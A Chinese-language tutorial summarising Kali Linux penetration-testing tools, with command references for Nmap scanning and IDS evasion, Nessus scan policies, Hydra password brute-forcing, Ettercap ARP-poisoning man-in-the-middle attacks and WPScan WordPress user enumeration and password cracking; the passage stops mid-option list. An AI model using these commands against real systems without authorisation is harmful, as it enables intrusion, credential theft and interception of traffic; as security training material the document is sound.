滲透過程中可能要用到的Kali工具小總結

滲透過程中可能要用到的Kali工具小總結

寫在最前面

最近在搞滲透的時候,發現過程中有一些kali工具還是很適合使用的

所以寫一個滲透過程中可能用到的kali滲透工具的小小總結

寫的不對 多多包涵 各位大佬輕噴 :D

Kali用得好 牢飯準管飽

滲透不規範 親人兩行淚

先來了解一下Kali(From Wikipdeia)

Kali Linux是基於Debian的Linux發行版, 設計用於數字取證操作系統。由Offensive Security Ltd維護和資助。最先由Offensive Security的Mati Aharoni和Devon Kearns通過重寫BackTrack來完成,BackTrack是他們之前寫的用於取證的Linux發行版 。

Kali Linux預裝了許多滲透測試軟件,包括nmap 、Wireshark 、John the Ripper,以及Aircrack-ng.[2] 用戶可通過硬盤、live CD或live USB運行Kali Linux。Kali Linux既有32位和64位的鏡像。可用於x86 指令集。同時還有基於ARM架構的鏡像,可用於樹莓派和三星的ARM Chromebook

另外Kali Linux 集成了以下安全軟件:

Metasploit、RFMON、Aircrack-NG、Gerix Wifi Cracker、Kismet、Nmap、Ophcrack、Ethercap、Wireshark (formerly known as Ethereal)、

BeEF (Browser Exploitation Framework)、Hydra

OWASP Mantra Security Framework (一套基於FireFox的工具、插件和腳本)

Cisco OCS Mass Scanner (通過telnet以及默認密碼掃描思科路由器)

exploit 程序比如 瀏覽器

BackTrack 工具軟件分成12大類:

Information Gathering(信息收集)

Vulnerability Assessment(漏洞評定工具)

Exploitation Tools(開發工具)

Privilege Escalation(用戶提權)

Maintaining Access(維護登錄)

Reverse Engineering(逆向工程)

RFID Tools(RFID工具)

Stress testing(壓力測試)

Forensics(取證)

Reporting Tools(報告工具)

Services(服務)

Miscellaneous(雜項)

Kali工具:

一、Nmap(網絡映射器 Network Mapper)

介紹

Nmap是一款開源免費的網絡發現(Network Discovery)和安全審計(Security Auditing)工具。軟件名字Nmap是Network Mapper的簡稱。Nmap最初是由Fyodor在1997年開始創建的。隨後在開源社區眾多的志願者參與下,該工具逐漸成為最為流行安全必備工具之一。詳情可以參見:www.nmap.org。

一般情況下,Nmap用於列舉網絡主機清單、管理服務升級調度、監控主機或服務運行狀況。Nmap可以檢測目標機是否在線、端口開放情況、偵測運行的服務類型及版本信息、偵測操作系統與設備類型等信息。

可以作為信息收集工具,收集有關主機的信息;也可以提供防火牆規避和欺騙功能

Nmap的優點:

  1. 靈活:支持數十種不同的掃描方式,支持多種目標對象的掃描
  2. 強大:Nmap可以用於掃描互聯網上大規模的計算機
  3. 可移植:支持主流操作系統:Windows/Linux/Unix/MacOS等等;源碼開放,方便移植
  4. 簡單:提供默認的操作能覆蓋大部分功能,基本端口掃描nmap targetip,全面的掃描nmap –A targetip
  5. 自由:Nmap作為開源軟件,在GPL License的範圍內可以自由的使用
  6. 文檔豐富:Nmap官網提供了詳細的文檔描述。Nmap作者及其他安全專家編寫了多部Nmap參考書籍
  7. 社區支持:Nmap背後有強大的社區團隊支持
  8. 讚譽有加:獲得很多的獎勵,並在很多影視作品中出現(如黑客帝國2、Die Hard4等)
  9. 流行:目前Nmap已經被成千上萬的安全專家列為必備的工具之一

功能及特點

<code>主機存活檢測:探測網絡上的主機,例如列出響應TCP和ICMP請求、icmp請求、開放特別端口的主機
端口探測:探測目標主機所開放的端口
服務識別
操作系統識別:探測目標主機的操作系統及網絡設備的硬件特性
硬件地址檢測
服務版本識別:探測目標主機的網絡服務,判斷其服務名稱及版本號
漏洞掃描,使用nmap自帶腳本
支持探測腳本的編寫:使用Nmap的腳本引擎(NSE)和Lua編程語言/<code>
<code>通過對設備或者防火牆的探測來審計它的安全性
探測目標主機所開放的端口
網絡存儲,網絡映射,維護和資產管理
通過識別新的服務器審計網絡的安全性
探測網絡上的主機/<code>

端口掃描的6種狀態:

open:端口是開放的closed:端口是關閉的filtered:端口被防火牆IDS/IPS屏蔽,無法確定其狀態unfiltered:端口沒有被屏蔽,但是否開放需要進一步確定open|filtered:端口是開放的或被屏蔽closed|filtered :端口是關閉的或被屏蔽

簡單使用

默認發送一個arp的ping數據包,用來探測目標主機在1-10000範圍內所開放的端口:

<code>nmap <target>/<code>
滲透過程中可能要用到的Kali工具小總結

對返回的結果詳細描述輸出

<code>nmap -vv <target>/<code>
滲透過程中可能要用到的Kali工具小總結

通過參數-p 來設置我們將要掃描的端口號:(range為端口掃描的範圍 不超過65535)

<code>nmap -p(range) <target>/<code>
滲透過程中可能要用到的Kali工具小總結

指定端口掃描:

<code>nmap -p(port1,port2,port3,...) <target>/<code>

例如:

<code>nmap -p80,443,8080 <target>/<code>

使用 ping 掃描:

<code>nmap -sP <target>/<code>

路由追蹤:

<code>nmap --traceroute <target>/<code>
滲透過程中可能要用到的Kali工具小總結

使用SYN的方法對全端口進行掃描,在aggressive(4)的時間模板下,同時對開放的端口進行端口識別:(SYN是TCP/IP建立連接時使用的握手信號)

<code>nmap -p1-65535 -sV -sS -T4 <target>/<code>

aggressive(4)時間模板,探測操作系統類型和版本,以及顯示traceroute的結果:

<code>nmap -v -sS -A -T4 <target>
nmap -v -p 1-65535 -sV -O -sS -T4 <target>/<target>/<code>

insane(5)的時間模板,探測操作系統類型和版本,以及顯示traceroute的結果:

<code>nmap -v -sS -A -T5 <target>
nmap -v -sV -O -sS -T5 <target>
nmap -v -p 1-65535 -sV -O -sS -T5 <target>/<target>/<target>/<code>

掃描的結果輸出到屏幕,同時會存儲一份filename.txt:

<code>nmap -sV -p 139,445 -oG filename.txt <target>/<code>

掃描指定的目標主機,同時檢測相關漏洞:

<code>nmap --script-args=unsafe=1 --script smb-check-vulns.nse -p 445 <target>/<code>

使用參數列表

<code>-iL filename   從文件中讀取待檢測目標,文件中的表示方法支持機名,ip,網段
-iR hostnum 隨機選取,進行掃描.如果-iR指定為0,則無休止的掃描
--exclude host1[, host2] 掃描任務中需要排除的主機
--exculdefile exclude_file 排除文件中的IP,格式和-iL指定掃描文件格式相同/<code>

主機發現:

<code>-sL                     僅僅顯示掃描的IP數目,不會進行任何掃描
-sn ping掃描,即主機發現
-Pn 不檢測是否主機存活
-PS/PA/PU/PY[portlist] TCP SYN Ping/TCP ACK Ping/UDP Ping的發現
-PE/PP/PM 使用ICMP echo, timestamp and netmask 請求包來發現主機

-PO[prococol list] 使用IP協議包來探測對方主機是否開啟
-n/-R 不對IP進行域名反向解析/對所有的IP都進行域名反向解析/<code>

掃描技巧:

<code>-sS/sT/sA/sW/sM                 TCP SYN/TCP connect()/ACK/TCP窗口掃描/TCP Maimon掃描
-sU UDP掃描
-sN/sF/sX TCP Null,FIN,and Xmas掃描
--scanflags 自定義TCP包中的flags(標誌位)
-sI zombie host[:probeport] Idlescan
-sY/sZ SCTP INIT/COOKIE-ECHO 掃描
-sO 使用IP protocol 掃描確定目標機所支持的協議類型
-b “FTP relay host” 使用FTP bounce scan/<code>

指定端口和掃描順序:

<code>-p                      掃描特定的端口 -p80,443 或者 -p1-65535
-p U:PORT 掃描udp的某個端口, -p U:53
-F 快速掃描模式,比默認的掃描端口要少
-r 不隨機掃描端口,默認是隨機掃描
--top-ports "number" 掃描開放概率最高的number個端口,出現的概率需要參考nmap-services文件,ubuntu中該文件位於/usr/share/nmap.nmap默認掃前1000個
--port-ratio "ratio" 掃描指定頻率以上的端口/<code>

服務版本的識別:

<code>-sV                             開放版本探測,可以直接使用-A同時打開操作系統探測和版本探測
--version-intensity "level" 設置版本掃描強度,強度水平說明了應該使用哪些探測報文。數值越高,服務越有可能被正確識別。默認是7

--version-light 打開輕量級模式,為--version-intensity 2的別名
--version-all 嘗試所有探測,為--version-intensity 9的別名
--version-trace 顯示出詳細的版本偵測過程信息/<code>

使用腳本掃描:

<code>-sC                             根據端口識別的服務,調用默認腳本
--script=”Lua/>--script-args=n1=v1,[n2=v2] 調用腳本傳遞的參數
--script-args-file=filename 使用文本傳遞參數
--script-trace 顯示所有發送和接收到的數據
--script-updatedb 更新腳本的數據庫
--script-help=”Lua>

OS識別:

<code>-O              啟用操作系統檢測,-A來同時啟用操作系統檢測和版本檢測
--osscan-limit 針對指定的目標進行操作系統檢測(至少確知該主機分別有一個open和closed的端口)
--osscan-guess 推測操作系統檢測結果,當Nmap無法確定所檢測的操作系統時,會盡可能地提供最相近的匹配,Nmap默認進行匹配/<code>

防火牆/IDS躲避和哄騙:

<code>-f; --mtu value                 指定使用分片、指定數據包的MTU.
-D decoy1,decoy2,ME 使用誘餌隱蔽掃描
-S IP-ADDRESS 源地址欺騙
-e interface 使用指定的接口
-g/ --source-port PROTNUM 使用指定源端口

--proxies url1,[url2],... 使用HTTP或者SOCKS4的代理
--data-length NUM 填充隨機數據讓數據包長度達到NUM
--ip-options OPTIONS 使用指定的IP選項來發送數據包
--ttl VALUE 設置IP time-to-live域
--spoof-mac ADDR/PREFIX/VEBDOR MAC地址偽裝
--badsum 使用錯誤的checksum來發送數據包/<code>

選擇輸出格式:

<code>-oN                     將標準輸出直接寫入指定的文件
-oX 輸出xml文件
-oS 將所有的輸出都改為大寫
-oG 輸出便於通過bash或者perl處理的格式,非xml
-oA BASENAME 可將掃描結果以標準格式、XML格式和Grep格式一次性輸出
-v 提高輸出信息的詳細度
-d level 設置debug級別,最高是9
--reason 顯示端口處於帶確認狀態的原因
--open 只輸出端口狀態為open的端口
--packet-trace 顯示所有發送或者接收到的數據包
--iflist 顯示路由信息和接口,便於調試
--log-errors 把日誌等級為errors/warings的日誌輸出
--append-output 追加到指定的文件
--resume FILENAME 恢復已停止的掃描
--stylesheet PATH/URL 設置XSL樣式表,轉換XML輸出
--webxml 從namp.org得到XML的樣式
--no-sytlesheet 忽略XML聲明的XSL樣式表/<code>

其他選項:

<code>-6                      開啟IPv6
-A OS識別,版本探測,腳本掃描和traceroute
--datedir DIRNAME 說明用戶Nmap數據文件位置
--send-eth / --send-ip 使用原以太網幀發送/在原IP層發送
--privileged 假定用戶具有全部權限
--unprovoleged 假定用戶不具有全部權限,創建原始套接字需要root權限
-V 打印版本信息
-h 輸出幫助/<code>

高級用法

防火牆/IDS規避:

防火牆與IDS規避為用於繞開防火牆與IDS(入侵檢測系統)的檢測與屏蔽,以便能夠更加詳細地發現目標主機的狀況

Nmap提供了多種規避技巧,通常可以從兩個方面考慮規避方式:數據包的變換(Packet Change)與時序變換(Timing Change)

規避用法:

<code>-f; --mtu :                指定使用分片、指定數據包的MTU
-D <decoy1>: 用一組IP地址掩蓋真實地址,其中ME填入自己的IP地址
-S : 偽裝成其他IP地址
-e <iface>: 使用特定的網絡接口

-g/--source-port <portnum>: 使用指定源端口
--data-length : 填充隨機數據讓數據包長度達到Num
--ip-options <options>: 使用指定的IP選項來發送數據包
--ttl : 設置time-to-live時間
--spoof-mac : 偽裝MAC地址
--badsum: 使用錯誤的checksum來發送數據包(正常情況下,該類數據包被拋棄,如果收到回覆,說明回覆來自防火牆或IDS/IPS)
/<options>
/<portnum>/<iface>
/<decoy1>
/<code>

例子:

-F表示快速掃描100個端口;-Pn表示不進行Ping掃描;-D表示使用IP誘騙方式掩蓋自己真實IP(其中ME表示自己IP);-e eth0表示使用eth0網卡發送該數據包;-g 3355表示自己的源端口使用3355;192.168.1.1是被掃描的目標IP地址

<code>nmap -v -F -Pn -D192.168.1.100,192.168.1.102,ME -e eth0 -g 3355 192.168.1.1/<code>

絕招:

<code>man Nmap/<code>

參考:

0x00

0x01

二、Nessus(系統弱點掃描分析軟件)

介紹

Nessus號稱是世界上最流行的漏洞掃描程序,全世界有超過75000個組織在使用它。該工具提供完整的電腦漏洞掃描服務,並隨時更新其漏洞數據庫。Nessus不同於傳統的漏洞掃描軟件,Nessus可同時在本機或遠端上遙控,進行系統的漏洞分析掃描。Nessus也是滲透測試重要工具之一,可以幫助找到潛在攻擊者可能利用的漏洞,Nessus通常包括成千上萬的最新的漏洞,各種各樣的掃描選項,及易於使用的圖形界面和有效的報告

為了定位在目標系統上的漏洞,Nessus依賴feeds的格式實現漏洞檢查

特點介紹:

<code>提供完整的電腦漏洞掃描服務,並隨時更新其漏洞數據庫
不同於傳統的漏洞掃描軟件。Nessus可同時在本機或遠程控制,進行系統的漏洞分析掃描
其運作效能隨著系統的資源而自行調整。如果將主機配置更多的資源(如加快CPU速度或增加內存大小),其效率表現可因為豐富資源而提高
可自行定義插件
NASL(Nessus Attack Scripting Language)是由Tenable所發出的語言,用來寫入Nessus的安全測試選項
完全支持SSL(Secure Socket Layer)/<code>

官網下載地址

關於Kali安裝Nessus就不說了安裝教程

簡單使用方法

先啟動Nessus服務

<code>/etc/init.d/nessusd start
Starting Nessus:/<code>

然後去https://kali:8834/ Nessus登錄界面 輸入賬號登錄

滲透過程中可能要用到的Kali工具小總結

Nessus 主界面

滲透過程中可能要用到的Kali工具小總結

主頁面右側點擊Policies 進入後點擊右上角 New Policy 出現如下圖

滲透過程中可能要用到的Kali工具小總結

該界面選擇創建策略類型。Nessus默認支持10種策略類型。這裡隨便選個 Advanced Scan 進入後

滲透過程中可能要用到的Kali工具小總結

在該界面設置策略名、可見性和描述信息(可選項) 右側邊條對應選項可選擇設置多個選項

選擇插件程序點擊Plugins

滲透過程中可能要用到的Kali工具小總結

該界面顯示了所有插件程序,默認全部是啟動的。在該界面可以單擊Disable All按鈕,禁用所有啟動的插件程序。然後指定需要啟動的插件程序,即可啟動,再次點擊綠色按鈕即可禁用

在掃描策略設置好以後,需新建掃描任務才能開始掃描漏洞

切回主界面 點擊Scans 右上角New Scan 建立新掃描任務

滲透過程中可能要用到的Kali工具小總結

在該界面設置掃描任務名稱、使用策略、文件夾和掃描的目標。這裡分別設置為Sample Scan、Policy(之前建立好的策略)、My Scans和192.168.41.0/24。然後單擊Launch

掃描網絡漏洞

如果用戶想要使用Nessus攻擊一個大範圍的漏洞,需要配置評估漏洞列表並指定獲取信息的評估列表。下面介紹配置Nessus在目標主機尋找網絡漏洞,這些漏洞指目標主機或其他網絡協議

1.新建一個名為 NetWork Scan 的策略

2.在策略中添加所需要的插件程序

<code>CISCO                   掃描CISCO系統
DNS 掃描DNS服務器
Default Unix Accounts 掃描本地默認用戶賬戶和密碼
FTP 掃描FTP服務器
Firewalls 掃描代理防火牆
Gain a shell remotely 掃描遠程獲取的Shell
Geeral 掃描常用的服務
Netware 掃描網絡操作系統
Peer-To-Peer File Sharing 掃描共享文件檢測
Policy Compliance 掃描PCI DSS和SCAP信息
SCADA 掃描設置管理工具
SMTP Problems 掃描SMTP問題
SNMP 掃描SNMP相關信息
Service Detection 掃描服務偵察
Settings 掃描基本設置/<code>

3.在主界面新建一個掃描任務 開始掃描

4.掃描完成後查看掃描報告,如發現漏洞想詳細分析可以到處文件具體分析

掃描指定的linux系統漏洞

接下來介紹使用Nessus掃描指定Linux系統上的漏洞

常規步驟 給一下需要添加的插件程序:

<code>Backdoors                       掃描秘密信息
Brute Force Attacks 暴力攻擊
CentOSo Local Security Checks 掃描CentOS系統的本地安全漏洞
DNS 掃描DNS服務器
Debian Local Security Checks 掃描Debian系統的本地安全漏洞
Default Unix Accounts 掃描默認Unix用戶賬號
Denial of Service 掃描拒絕的服務
FTP 掃描FTP服務器
Fedora Local Security Checks 掃描Fedora系統的本地安全漏洞
Firewalls 掃描防火牆
FreeBSD Local Security Checks 掃描FreeBSD系統的本地安全漏洞
Gain a shell remotely 掃描遠程獲得的Shell
General 掃描漏洞
Gentoo Local Security Checks 掃描Gentoo系統的本地安全漏洞
HP-UX Local Security Checks 掃描HP-UX系統的本地安全漏洞
Mandriva Local Security Checks 掃描Mandriva系統的本地安全漏洞
Misc 掃描複雜的漏洞

Red Hat Local Security Checks 掃描Red Hat系統的本地安全漏洞
SMTP Porblems 掃描SMTP問題
SNMP 掃描SNMP漏洞
Scientific Linux Local Security Checks 掃描Scientific Linux系統的本地安全漏洞
Slackware Local Security Checks 掃描Slackware系統的本地安全漏洞
Solaris Local Security Checks 掃描Solaris系統的本地安全漏洞
SuSE Local Security Checks 掃描SuSE系統的本地安全漏洞
Ubuntu Local Security Checks 掃描Ubuntu系統的本地安全漏洞
Web Servers 掃描Web服務器/<code>

掃描指定的windows系統漏洞

給出需要添加的插件程序:

<code>DNS                         掃描DNS服務器
Databases 掃描數據庫
Denial of Service 掃描拒絕的服務
FTP 掃描FTP服務器
SMTP Problems 掃描SMTP問題
SNMP 掃描SNMP
Settings 掃描設置信息
Web Servers 掃描Web Servers
Windows 掃描Windows
Windows:Microsoft Bulletins 掃描Windows中微軟公告
Windows:User management 掃描Windows用戶管理/<code>

三、Hydra+Ettercap(密碼破解+中間人攻擊)

hydra(密碼破解)

Hydra是一個相當強大的暴力密碼破解工具。該工具支持幾乎所有協議的在線密碼破解,如FTP、HTTP、HTTPS、MySQL、MS SQL、Oracle、Cisco、IMAP和VNC等。其密碼能否被破解,關鍵在於字典是否足夠強大

經過測試,可以在Linux,Windows / Cygwin,Solaris,FreeBSD / OpenBSD,QNX(Blackberry 10)和MacOS上進行乾淨的編譯

目前該工具支持以下協議:Asterisk,AFP,Cisco AAA,Cisco auth,Cisco enable,CVS,Firebird,FTP,HTTP-FORM-GET,HTTP-FORM-POST,HTTP-GET,HTTP-HEAD,HTTP-POST ,HTTP-PROXY,HTTPS-FORM-GET,HTTPS-FORM-POST,HTTPS-GET,HTTPS-HEAD,HTTPS-POST,HTTP-Proxy,ICQ,IMAP,IRC,LDAP,MEMCACHED,MONGODB,MS-SQL,MYSQL ,NCP,NNTP,Oracle偵聽器,Oracle SID,Oracle,PC-Anywhere,PCNFS,POP3,POSTGRES,Radmin,RDP,Rexec,Rlogin,Rsh,RTSP,SAP / R3,SIP,SMB,SMTP,SMTP枚舉,SNMP v1 + v2 + v3,SOCKS5,SSH(v1和v2),SSHKEY,Subversion,Teamspeak(TS2),Telnet,VMware-Auth,VNC和XMPP

支持的平臺:

<code>1.所有UNIX平臺(Linux,* BSD,Solaris等)
2.MacOS(基本上是BSD克隆)
3.帶Cygwin的Windows(IPv4和IPv6)
4.基於Linux,MacOS或QNX的移動系統(例如Android,iPhone,Blackberry 10,Zaurus,iPaq)/<code>

此工具在Kali上有圖形界面版 如下

點擊應用程序 搜索框搜索hydra 打開hydra-gtk

滲透過程中可能要用到的Kali工具小總結

該界面用於設置目標系統的地址、端口和協議等。如果要查看密碼攻擊的過程,將Output Options框中的Show Attempts複選框勾上

進入Password界面

滲透過程中可能要用到的Kali工具小總結

/usr/share/wfuzz/wordlist/others/names.txt

/usr/share/wfuzz/wordlist/others/common_pass.txt

在該界面指定用戶名和密碼列表文件,這裡使用Kali系統中存在的用戶名和密碼列表文件,並選擇Loop around users選項。其中,用戶名和密碼文件分別保存在/usr/share/wfuzz/wordlist/others/names.txt和/usr/share/wfuzz/wordlist/others/common_pass.txt中

設置好密碼字典後,單擊Tuning選項

在該界面設置任務的編號和超時時間。如果運行任務太多的話,服務的響應速率將下降。所以要建議將原來默認的任務編號16修改為2,超時時間修改為15。然後將Exit after first found pair的複選框勾上,表示找到第一對匹配項時則停止攻擊

滲透過程中可能要用到的Kali工具小總結

進行start界面 在該界面顯示了四個按鈕,分別是啟動、停止、保存輸出和清除輸出。這裡單擊Start按鈕開始攻擊

滲透過程中可能要用到的Kali工具小總結

xHydra工具根據自定的用戶名和密碼文件中的條目,進行匹配。當找到匹配的用戶名和密碼時,則停止攻擊 密碼字典越強大越好

Hydra Github

Ettercap(網絡嗅探)

介紹

官網 Github

官網介紹:Ettercap是針對中間人攻擊的綜合套件。它具有實時連接的嗅探,動態內容過濾和許多其他有趣的技巧。它支持許多協議的主動和被動剖析,幷包括許多用於網絡和主機分析的功能(內網滲透神器)

也是Linux下一個強大的欺騙工具,也適用於Windows。用戶能夠使用Ettercap工具快速地創建偽造的包,實現從網絡適配器到應用軟件各種級別的包,綁定監聽數據到一個本地端口等

中間人攻擊

中間人攻擊(Man-in-the-MiddleAttack,簡稱“MITM攻擊”)是一種“間接”的入侵攻擊,這種攻擊模式是通過各種技術手段將受入侵者控制的一臺計算機虛擬放置在網絡連接中的兩臺通信計算機之間,這臺計算機就稱為“中間人”

中間人攻擊常見的兩種方法:ARP欺騙、DNS欺騙

Ettercap使用(中英文對照)

<code>Usage: ettercap [OPTIONS] [TARGET1] [TARGET2]
用法:ettercap <>
TARGET is in the format MAC/IP/PORTs (see the man for further detail)
TARGET 的格式: MAC地址/IP地址/端口號
Sniffing and Attack options:
-M, --mitm <args> perform a mitm attack
實施中間人攻擊
-o, --only-mitm don't sniff, only perform the mitm attack 不進行網絡嗅探,只進行中間人攻擊
-b, --broadcast sniff packets destined to broadcast 嗅探地址是廣播地址的數據包
-B, --bridge <iface> use bridged sniff (needs 2 ifaces)
使用橋接嗅探(需要兩個網卡)
-p, --nopromisc do not put the iface in promisc mode 不要將網卡設置成混雜模式
-S, --nosslmitm do not forge SSL certificates

禁用SSL證書偽造
-u, --unoffensive do not forward packets
不轉發數據包
-r, --read <file> read data from pcapfile <file>
從pcap文件讀取數據
-f, --pcapfilter <string> set the pcap filter <string>
設置pcap過濾器
-R, --reversed use reversed TARGET matching
反向選擇目標
-t, --proto <proto> sniff only this proto (default is all) 選擇一個協議進行嗅探
--certificate <file> certificate file to use for SSL MiTM 用於SSL中間人攻擊的證書文件
--private-key <file> private key file to use for SSL MiTM 用於SSL中間人攻擊的私鑰文件

User Interface Type:
-T, --text use text only GUI 文本模式
-q, --quiet do not display packet contents
安靜模式 不輸出過多無用信息
-s, --script issue these commands to the GUI
將命令發送到GUI
-C, --curses use curses GUI
基於curse的GUI
-D, --daemon daemonize ettercap (no GUI)
守護進程
-G, --gtk use GTK+ GUI 使用GUI界面

Logging options:
-w, --write <file> write sniffed data to pcapfile <file> 把嗅探到的數據寫入文件中
-L, --log <logfile> log all the traffic to this <logfile> 記錄所有流量數據到指定文件中
-l, --log-info <logfile> log only passive infos to this <logfile> 僅記錄被動信息到指定文件
-m, --log-msg <logfile> log all the messages to this <logfile> 把所有消息記錄到指定文件中
-c, --compress use gzip compression on log files
對日誌文件使用gzip壓縮
Visualization options:
-d, --dns resolves ip addresses into hostnames 將IP地址解析為地址名

-V, --visual <format> set the visualization format
設置可視化格式
-e, --regex <regex> visualize only packets matching this regex 僅顯示與此正則表達式匹配的數據包
-E, --ext-headers print extended header for every pck 打印每一個pck的擴展頭
-Q, --superquiet do not display user and password
禁止顯示用戶名和密碼
General options:
-i, --iface <iface> use this network interface
手動選擇網卡 後面跟網卡參數
-I, --liface show all the network interfaces
列出所有可用網卡列表
-Y, --secondary <ifaces> list of secondary network interfaces 展示輔助網絡接口列表
-n, --netmask <netmask> force this <netmask> on iface
設置子網掩碼
-A, --address <address> force this local <address> on iface 選擇手動設置IP地址 在某個端口上
-P, --plugin <plugin> launch this <plugin> 加載插件
-F, --filter <file> load the filter <file> (content filter) 加載過濾器文件
-z, --silent do not perform the initial ARP scan 禁用初始化ARP掃描
-j, --load-hosts <file> load the hosts list from <file>
從指定文件加載主機列表
-k, --save-hosts <file> save the hosts list to <file>
將主機列表保存到指定文件
-W, --wifi-key <wkey> use this key to decrypt wifi packets (wep or wpa) 加載WIFI密碼
-a, --config <config> use the alterative config file <config> 使用備用配置文件

Standard options:
-v, --version prints the version and exit
-h, --help /<config>/<config>/<wkey>/<file>/<file>/<file>/<file>/<file>/<file>/<plugin>/<plugin>/<address>/<address>/<netmask>/<netmask>/<ifaces>/<iface>/<regex>/<format>/<logfile>/<logfile>/<logfile>/<logfile>/<logfile>/<logfile>/<file>/<file>
/<file>/<file>/<proto>/<string>/<string>/<file>/<file>/<iface>/<args>/<code>

簡單使用示例:

1.在控制檯模式下(-T)不使用混雜模式(-p),只會看到自己的通信

<code>ettercap -Tp/<code>

2.在控制檯模式下(-T),不使用ARP初始化(-z),不顯示數據包內容(-q安靜模式),但是會顯示用戶名和密碼和其他消息

<code>ettercap -Tzq/<code>

3.在控制檯模式下(-T),加載主機列表(-j),對目標執行arp毒化中間人攻擊(-M arp)

<code>ettercap -T -j /tmp/victims -M arp /10.0.0.1-7/ /10.0.0.10-20//<code>

4.在控制檯模式下(-T),對整個局域網執行ARP毒化攻擊(-M arp)

<code>ettercap -T -M arp // ///<code>

5.在控制檯模式下(-T),執行ARP雙向欺騙(-M arp:remote)

<code>ettercap -T -M arp:remote /192.168.1.1/ /192.168.1.2-10//<code>

6.在控制檯模式下(-T),不使用ARP初始化(-z),使用安靜模式(-q),監聽所有主機110端口(pop3協議端口)

<code>ettercap -Tzq //110/<code>

7.在控制檯模式下(-T),不進行ARP初始化(-z),使用安靜模式(-q),監聽目標10.0.0.1的21,22,23端口(FTP、SSH、TELNET)

<code>ettercap -Tzq /10.0.0.1/21,22,23/<code>

8.打印輸出可用插件列表

<code>ettercap -P list/<code>

9.使用過濾腳本

<code>etterfilter test.filter -o test.ef/<code>

關於插件

<code>Available plugins :

arp_cop 1.1 Report suspicious ARP activity
autoadd 1.2 Automatically add new victims in the target range
chk_poison 1.1 Check if the poisoning had success
dns_spoof 1.2 Sends spoofed dns replies
dos_attack 1.0 Run a d.o.s. attack against an IP address
dummy 3.0 A plugin template (for developers)
find_conn 1.0 Search connections on a switched LAN
find_ettercap 2.0 Try to find ettercap activity
find_ip 1.0 Search an unused IP address in the subnet
finger 1.6 Fingerprint a remote host
finger_submit 1.0 Submit a fingerprint to ettercap's website
fraggle_attack 1.0 Run a fraggle attack against hosts of target one
gre_relay 1.0 Tunnel broker for redirected GRE tunnels
gw_discover 1.0 Try to find the LAN gateway
isolate 1.0 Isolate an host from the lan
link_type 1.0 Check the link type (hub/switch)
mdns_spoof 1.0 Sends spoofed mDNS replies
nbns_spoof 1.1 Sends spoof NBNS replies & sends SMB challenges with custom challenge
pptp_chapms1 1.0 PPTP: Forces chapms-v1 from chapms-v2
pptp_clear 1.0 PPTP: Tries to force cleartext tunnel
pptp_pap 1.0 PPTP: Forces PAP authentication
pptp_reneg 1.0 PPTP: Forces tunnel re-negotiation
rand_flood 1.0 Flood the LAN with random MAC addresses
remote_browser 1.2 Sends visited URLs to the browser
reply_arp 1.0 Simple arp responder
repoison_arp 1.0 Repoison after broadcast ARP
scan_poisoner 1.0 Actively search other poisoners
search_promisc 1.2 Search promisc NICs in the LAN
smb_clear 1.0 Tries to force SMB cleartext auth
smb_down 1.0 Tries to force SMB to not use NTLM2 key auth
smurf_attack 1.0 Run a smurf attack against specified hosts
sslstrip 1.1 SSLStrip plugin
stp_mangler 1.0 Become root of a switches spanning tree/<code>

Ettercap部分參考

四、WPScan(WordPress漏洞掃描程序)

工具介紹

官網地址 GitHub

WordPress是一款免費的,用於非商業用途的黑匣子WordPress漏洞掃描程序,專為安全專業人員和博客維護人員編寫,用於測試其網站的安全性

Kali Linux默認自帶的一款漏洞掃描工具,它採用Ruby編寫,能夠掃描WordPress網站中的多種安全漏洞,其中包括主題漏洞、插件漏洞和WordPress本身的漏洞。最新版本WPScan的數據庫中包含超過18000種插件漏洞和2600種主題漏洞,並且支持最新版本的WordPress。它不僅能夠掃描類似robots.txt這樣的敏感文件,還可以實現獲取站點用戶名,獲取安裝的所有插件、主題,以及存在漏洞的插件、主題,並提供漏洞信息。同時還可以實現對未加防護的Wordpress站點暴力破解用戶名密碼

滲透過程中可能要用到的Kali工具小總結

簡單使用

<code>wpscan -update                            更新漏洞庫
wpscan --url www.target.com --enumerate p 掃描插件基本信息
wpscan --url www.xxx.com --enumerate vp 掃描容易受攻擊的插件
wpscan --url www.xxx.com --enumerate ap 掃描所有插件
wpscan --url www.target.com --enumerate u 暴力枚舉用戶名
wpscan --url www.example.com --wordlist passX.txt --username admin 通過用戶名字典爆破密碼
wpscan --url www.example.com --wordlist darkc0de.lst --threads 50 使用字典調用50個線程進行暴力破解
wpscan --help
wpscan --random-agent 帶著瀏覽器頭訪問
wpscan <target> 開始對服務器進行掃描
wpscan <target> --enumerate t 對使用主題進行掃描
wpscan <target> --enumerate vt 掃描主題中存在的漏洞
wpscan <target> -e at -e ap -e u 枚舉掃描主題、插件、用戶名
wpscan –url [wordpress url] –wordlist [path to wordlist] –username [username to brute force] –threads [number of threads to use] 暴力破解用戶的root密碼/<target>/<target>/<target>/<target>/<code>

參數選項

<code>--update                更新數據庫
--url | -u <target> 配置掃描URL
--force | -f 強制讓wpscan不要驗證目標是否是wordpress
--enumerate | -e [option(s)] 枚舉信息
選項:
-u 枚舉用戶名,默認從1-10
-u[10-20] 枚舉用戶名,配置從10-20
-p 枚舉插件
--vp 只枚舉有漏洞的插件
--ap 枚舉所有插件,時間較長

--tt 列舉縮略圖相關的文件
-t 枚舉主題信息
--vt 只枚舉存在漏洞的主題
--at 枚舉所有主題,時間較長
可以指定多個掃描選項,例:"-e tt,p"
如果沒有指定選項,默認選項為:"vt,tt,u,vp"

--exclude-content-based "<regexp>"
當使用枚舉選項時,可以使用該參數做一些過濾,基於正則或者字符串,可以不寫正則分隔符,但要用單引號或雙引號包裹
--config-file | -c <config> 使用指定的配置文件
--user-agent | -a <user-agent> 指定User-Agent
--cookie <string> 指定cookie
--random-agent | -r 使用隨機User-Agent
--follow-redirection 如果目標包含一個重定向,則直接跟隨跳轉
--batch 無需用戶交互,都使用默認行為
--no-color 不要採用彩色輸出
--wp-content-dir WPScan 會去發現wp-content目錄,用戶可手動指定
--wp-plugins-dir 指定wp插件目錄,默認是wp-content/plugins
--proxy 設置一個代理,可以使用HTTP、SOCKS4、SOCKS4A、SOCKS5, 如果未設置默認是HTTP協議
--proxy-auth <password> 設置代理登陸信息
--basic-auth <password> 設置基礎認證信息
--wordlist | -w <wordlist> 指定密碼字典
--username | -U <username> 指定爆破的用戶名

--usernames <path-to-file> 指定爆破用戶名字典
--threads | -t <number> 指定多線程
--cache-ttl <cache-ttl> 設置 cache TTL.
--request-timeout <request-timeout> 請求超時時間
--connect-timeout <connect-timeout> 連接超時時間
--max-threads <max-threads> 最大線程數
